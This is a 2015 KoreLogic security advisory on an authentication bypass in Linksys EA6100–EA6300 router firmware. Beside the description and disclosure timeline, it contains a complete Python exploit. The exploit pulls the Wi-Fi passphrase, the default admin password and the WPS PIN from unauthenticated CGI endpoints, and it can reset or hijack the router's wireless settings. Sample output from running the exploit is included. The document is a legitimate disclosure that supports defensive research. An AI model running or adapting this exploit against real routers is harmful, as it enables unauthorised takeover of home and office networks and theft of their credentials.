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Linksys EA6100 Wireless Router Authentication Bypass

Posted on 05 December 2015

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KL-001-2015-006 : Linksys EA6100 Wireless Router Authentication Bypass

Title: Linksys EA6100 Wireless Router Authentication Bypass
Advisory ID: KL-001-2015-006
Publication Date: 2015.12.04
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-006.txt

1. Vulnerability Details

 Affected Vendor: Linksys
 Affected Product: EA6100 - EA6300 Wireless Router
 Affected Version: 1.1.5
 Platform: Embedded Linux
 CWE Classification: CWE-288: Authentication Bypass Using an
 Alternate Path or Channel
 Impact: Remote Administration
 Attack vector: HTTP
 CVE-ID: <Not Yet Assigned>

2. Vulnerability Description

 Multiple CGI scripts in the web-based administrative
 interface of the Linksys EA6100 - EA6300 Wireless Router
 allow unauthenticated access to the high-level administrative
 functions of the device. This vulnerability can be leveraged
 by an unauthenticated attacker to obtain the router's
 administrative password and subsequently arbitrarily configure
 the device.

3. Technical Description

 root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# ls
 bin dev etc home JNAP lib libexec linuxrc mnt opt proc root
 sbin sys tmp usr var www
 root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# cd www
 root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls
 bootloader_info.cgi dhcp_log.txt get_counter_info.cgi
 incoming_log.txt JNAP outgoing_log.txt security_log.txt
 sysinfo.cgi usbinfo.cgi cgi-bin ezwifi_cfg.cgi
 getstinfo.cgi jcgi license.pdf qos_info.cgi
 speedtest_info.cgi ui
 root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls -la sysinfo.cgi
 lrwxrwxrwx 1 root root 23 Jul 21 2014 sysinfo.cgi -> /www/ui/cgi/sysinfo.cgi
 root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# cat ui/cgi/sysinfo.cgi
 #!/bin/sh

 ########################################################
 # sysinfo.sh ----> /www/sysinfo.cgi
 #
 # When adding new debug information into this script file
 # do the following:
 # 1) create your debug script <your_debug_script.sh>
 # 2) call your debug script in this sysinfo.sh script
 # using the format:
 # if [ -f <your debug script> ]; then
 # ./<your debug script.cgi>
 # fi
 ########################################################
 ...
 ...

 Other CGI files that are accessible from an unauthenticated perspective
 can be used to configure settings for the affected device. This led to
 the development of an exploit to abuse these vulnerabilities.

 level:Debug level$ ./linksys-ea6100-auth-bypass -h
 Usage: ./linksys-ea6100-auth-bypass [params]

 -h Help Menu
 -i Target Address
 -r Reset Attack
 -g Get System Info
 -p Get Wifi Password

 Example: ./linksys-ea6100-auth-bypass -i 10.10.10.1 -r
 Brought to you by Level at KoreLogic
 level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -p
 Getting wireless passphrase

 SSID=840146d6919<redacted>
 Passphrase=e0fc253e585bf33d7b<redacted>
 level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -g|more
 Brought to you by Level at KoreLogic
 Getting system info

 page generated on Tue Jan 20 20:01:48 UTC 2015

 UpTime:
 20:01:48 up 3 days, 16:24, load average: 0.00, 0.04, 0.05

 Firmware Version: 1.1.5.159694
 Firmware Builddate: 2014-03-21 03:09
 Product.type: production
 Linux: Linux version 2.6.36 (root@build-vm) (gcc version 4.2.3) #1 Thu Mar 20 19:40:45 PDT 2014
 Board: focus
 ...
 ...

4. Mitigation and Remediation Recommendation

 No response from vendor; no remediation available.

5. Credit

 This vulnerability was discovered by Matt Bergin (@thatguylevel)
 of KoreLogic, Inc.

6. Disclosure Timeline

 2015.09.10 - KoreLogic submits vulnerability details to
 security@linksys.com.
 2015.10.05 - KoreLogic submits vulnerability details to
 security@linksys.com again.
 2015.11.20 - KoreLogic requests CVE from MITRE.
 2015.12.02 - KoreLogic requests CVE from MITRE.
 2015.12.03 - KoreLogic requests CVE from MITRE.
 2015.12.04 - KoreLogic requests CVE from MITRE.
 2015.12.04 - Public disclosure.

7. Proof of Concept

 #!/usr/bin/env python3
 ########################################################################
 #
 # Copyright 2015 KoreLogic Inc., All Rights Reserved.
 #
 # This proof of concept, having been partly or wholly developed
 # and/or sponsored by KoreLogic, Inc., is hereby released under
 # the terms and conditions set forth in the Creative Commons
 # Attribution Share-Alike 4.0 (United States) License:
 #
 # http://creativecommons.org/licenses/by-sa/4.0/
 #
 #######################################################################

 from optparse import OptionParser
 from urllib.request import urlopen, Request
 from base64 import b64encode
 from json import loads
 from sys import exit

 def reset_ap(host, passphrase):
 """Resets the wireless security settings of the access point."""
 try:
 payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_5GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic"}}}]}}]'
 headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
 request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
 fd = urlopen(request)
 data5 = loads(fd.read())['result']
 fd.close()
 except Exception as e:
 print("[!] Could not reset the 5ghz access point security, reason: {0}.".format(str(e)))
 return -1
 try:
 payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_2GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic2", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic2"}}}]}}]'
 headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
 request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
 fd = urlopen(request)
 data2 = loads(fd.read())['result']
 fd.close()
 except Exception as e:
 print("[!] Could not reset the 2.4ghz access point security, reason: {0}".format(str(e)))
 return -1
 return data5, data2

 def is_admin_default(host):
 """Determines whether or not the administrator passphrase is default."""
 try:
 request = Request("https://{:s}/JNAP/".format(str(host)), "{}".encode('ascii'), {'X-JNAP-Action': 'http://linksys.com/jnap/core/IsAdminPasswordDefault'})
 fd = urlopen(request)
 data = loads(fd.read().decode('utf-8'))['output']['isAdminPasswordDefault']
 fd.close()
 except Exception as e:
 print("[!] Could not determine if administrator passphrase is default, reason: {0}".format(str(e)))
 return -1
 return data

 def is_host_alive(host):
 """Does a basic HTTP test to determine access."""
 try:
 fd = urlopen("https://{:s}/".format(str(host)))
 fd.close()
 except Exception as e:
 print("[!] Could not determine if target host was alive, reason: {:s}".format(str(e)))
 return False
 print("[+] Target host is alive, proceeding.")
 return True

 def run_payload(host, payload_url):
 """Run a provided HTTP request."""
 try:
 target = "https://{:s}/{:s}".format(str(host), str(payload_url))
 fd = urlopen(target)
 data = fd.read()
 fd.close()
 except Exception as e:
 print("[!] Unable to execute payload, reason: {0}".format(str(e)))
 return -1
 return data.decode('utf-8')

 def main():
 """Handle options provided and execute appropriate payloads."""
 payload_url, o, a = None, None, None
 print("Brought to you by Level at KoreLogic
")
 parser = OptionParser()
 parser.add_option("--host", dest="host", help="Target IP address")
 parser.add_option("--sysinfo", action="store_true", help="Get target system information")
 parser.add_option("--getpwhash", action="store_true", help="Get target wireless password hash")
 parser.add_option("--getclearpw", action="store_true", help="Get target wireless SSID and cleartext password")
 parser.add_option("--isdefault", action="store_true", help="Check if target is running the default admin credential (if yes, obtain passphrase)")
 parser.add_option("--resetwifi", action="store_true", help="Reset the access point security (requires default passphrase)")
 parser.add_option("--poisonwifi", action="store_true", help="Poison the access point security settings")
 parser.add_option("--getwpspin", action="store_true", help="Get the WPS pin for the target")
 o, a = parser.parse_args()
 if o.host is None:
 print("[!] You must specify a target host, please see --help")
 exit(1)
 else:
 if is_host_alive(o.host) is not True:
 print("[!] Could not establish connection to target")
 exit(1)
 else:
 if o.sysinfo is not None:
 print("[+] Obtaining system information -")
 payload_url = "sysinfo.cgi"
 response = run_payload(o.host, payload_url)
 if response is not -1:
 for line in response.split("
"):
 print(line)
 if o.getpwhash is not None:
 print("[+] Obtaining wireless password hash -")
 payload_url = "getstinfo.cgi"
 response = run_payload(o.host, payload_url)
 if response is not -1:
 for line in response.split("
"):
 print("	{0}".format(str(line)))
 if o.getclearpw is not None:
 print("[+] Obtaining wireless ssid and password -")
 payload_url = "sysinfo.cgi"
 response = run_payload(o.host, payload_url)
 if response is not -1:
 for line in response.split("
"):
 if "wl0_ssid=" in line:
 print("	wl0 SSID: {0}".format(str(line.split("=")[1])))
 if "wl1_ssid=" in line:
 print("	wl1 SSID: {0}".format(str(line.split("=")[1])))
 if "wl0_passphrase=" in line:
 print("	wl0 Passphrase: {0}".format(str(line.split("=")[1])))
 if "wl1_passphrase=" in line:
 print("	wl1 Passphrase: {0}".format(str(line.split("=")[1])))
 if o.isdefault is not None:
 print("[+] Checking if administrator passphrase is default -")
 payload_url = "sysinfo.cgi"
 response = is_admin_default(o.host)
 if response is True:
 print("[+] Passphrase is default, asking for the password -")
 payload_url = "sysinfo.cgi"
 response = run_payload(o.host, payload_url)
 if response is not -1:
 for line in response.split("
"):
 if "device::default_passphrase=" in line:
 print("	Default passphrase: {0}".format(str(line.split("=")[1])))
 else:
 print("[!] Passphrase is not default")
 if o.getwpspin is not None:
 print("[+] Getting WPS pin -")
 payload_url = "sysinfo.cgi"
 response = run_payload(o.host, payload_url)
 if response is not -1:
 for line in response.split("
"):
 if "device::wps_pin=" in line:
 print("	WPS PIN: {0}".format(str(line.split("=")[1])))
 if o.resetwifi is not None:
 print("[+] Resetting the access point security -")
 payload_url = "sysinfo.cgi"
 response = is_admin_default(o.host)
 if response is True:
 print("[+] Admin password is default, asking for the password")
 response = run_payload(o.host, payload_url)
 if response is not -1:
 for line in response.split("
"):
 if "device::default_passphrase=" in line:
 passphrase = line.split("=")[1]
 print("[+] Got the passphrase: {0}".format(str(passphrase)))
 data5, data2 = reset_ap(o.host, passphrase)
 if data5 is 'OK' and data2 is 'OK':
 print("[+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2")
 else:
 print("[!] Admin password is not default.")
 if o.poisonwifi is not None:
 print("[+] Poisoning wireless ssid configuration")
 payload_url = "ezwifi_cfg.cgi?CMD=configure&2ssid=korelogic&2passphrase=korelogic&2mode=11b&5ssid=korelogic2&5passphrase=korelogic2&5mode=11a"
 response = run_payload(o.host, payload_url)
 if response is not -1:
 payload_url = "sysinfo.cgi"
 response = run_payload(o.host, payload_url)
 if response is not -1:
 ap_poisoned = None
 for line in response.split("
"):
 if "wl0_ssid=" in line or "wl1_ssid=" in line:
 if "korelogic" in line:
 print("[+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI")
 ap_poisoned = 1
 if ap_poisoned is None:
 print("[!] Access point ssid settings could not be poisoned, consider running --getclearpw")
 if payload_url is None:
 print("[!] No attack has been specified, please see --help")
 exit(1)
 return exit(0)

 if __name__ == "__main__":
 main()

The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
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